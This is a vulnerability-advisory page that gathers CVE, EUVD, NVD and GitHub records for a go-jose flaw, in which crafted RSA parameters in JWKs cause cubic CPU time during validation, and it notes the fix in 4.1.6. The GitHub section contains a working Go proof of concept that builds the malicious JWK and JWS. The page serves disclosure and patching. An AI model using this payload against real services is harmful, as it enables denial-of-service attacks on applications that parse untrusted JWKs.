Go JOSE: DoS when parsing JWKs that contain RSA keys

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Source published

26 Oct 2026 21:12:21 UTC

Source modified

27 Oct 2026 14:17:50 UTC

Observed here

27 Oct 2026 15:44:06 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Source published

Oct 26, 2026, 9:12:21 PM (timezone not stated)

Source modified

Oct 27, 2026, 2:17:50 PM (timezone not stated)

Observed here

30 Oct 2026 02:00:06 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.

Source published

26 Oct 2026 22:16:55 UTC

Source modified

27 Oct 2026 15:16:40 UTC

Observed here

27 Oct 2026 19:48:21 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU. ### Details go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU. https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700 ### Proof of concept No special configuration of go-jose is required to reproduce this vulnerability. ```go package main import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time" "github.com/go-jose/go-jose/v4" ) func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3) jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), } protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(protected) jws := map[string]string{ "protected": base64.RawURLEncoding.EncodeToString(protJSON), "payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)), "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")), } jwsJSON, _ := json.Marshal(jws) start := time.Now() _, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256}) elapsed := time.Since(start) fmt.Printf("prime bits: %d\n", primeBits) fmt.Printf("parse time: %s\n", elapsed) fmt.Printf("parse error: %v\n", err) } ``` ### Impact Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately. ### Credits Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Source published

27 Oct 2026 19:01:30 UTC

Source modified

27 Oct 2026 19:15:23 UTC

Observed here

27 Oct 2026 19:48:11 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH